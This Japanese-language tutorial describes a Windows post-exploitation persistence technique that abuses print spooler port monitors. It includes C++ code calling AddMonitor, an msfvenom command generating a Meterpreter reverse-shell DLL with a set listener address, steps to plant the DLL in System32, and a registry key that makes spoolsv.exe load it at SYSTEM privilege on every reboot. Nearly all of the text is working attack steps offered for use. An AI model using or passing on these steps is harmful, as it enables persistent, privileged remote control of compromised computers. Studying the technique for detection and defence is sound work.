
A old way to Persistence
ポストエクスプロイテーション段階で権限を維持するために使用します。
Step1:このプロジェクトをダウンロードし、VSを使用してMonitor.cppをコンパイルします。もちろん、コンパイル済みのものを使用しても構いません。Monitor.cppのコードは以下の通りです:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
Step 2:Msfvenomを使用してDLL攻撃ペイロードを生成します:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Step 3:shell.dllをターゲットホストのsystem32ディレクトリにコピーし、その後test.dllに名前を変更します(つまり上記のPDLLNameです。自分で好きな名前に変更しても構いません。とにかく自由です):
copy C:\temp\shell.dll C:\Windows\System32\test.dll

Step 4:その後、system32ディレクトリに移動し、以下のコマンドを実行します(Monitors.exeは先ほどコンパイルしたファイルです。これもsystem32ディレクトリに配置する必要があります):
Monitors.exe

Step 5:その後、Meterpreterセッションが正常に受信されます。

永続性を実現するには、"Monitors"レジストリの場所にキーを設定する必要があります:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
その後、コマンドラインで以下のコマンドを実行して、値test.dllを含むレジストリエントリを作成します。エディタからレジストリを確認して、キーが作成されたかどうかを検証します:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

次回の再起動時、spoolsv.exeプロセスは、Monitorsレジストリエントリに存在し、WindowsフォルダのSystem32に保存されているすべてのドライバDLLファイルを読み込みます。下図は、MeterpreterセッションがPrint Spoolerサービス(SYSTEM)と同じレベルの特権で確立され、System32フォルダから実行されたことを示しています。
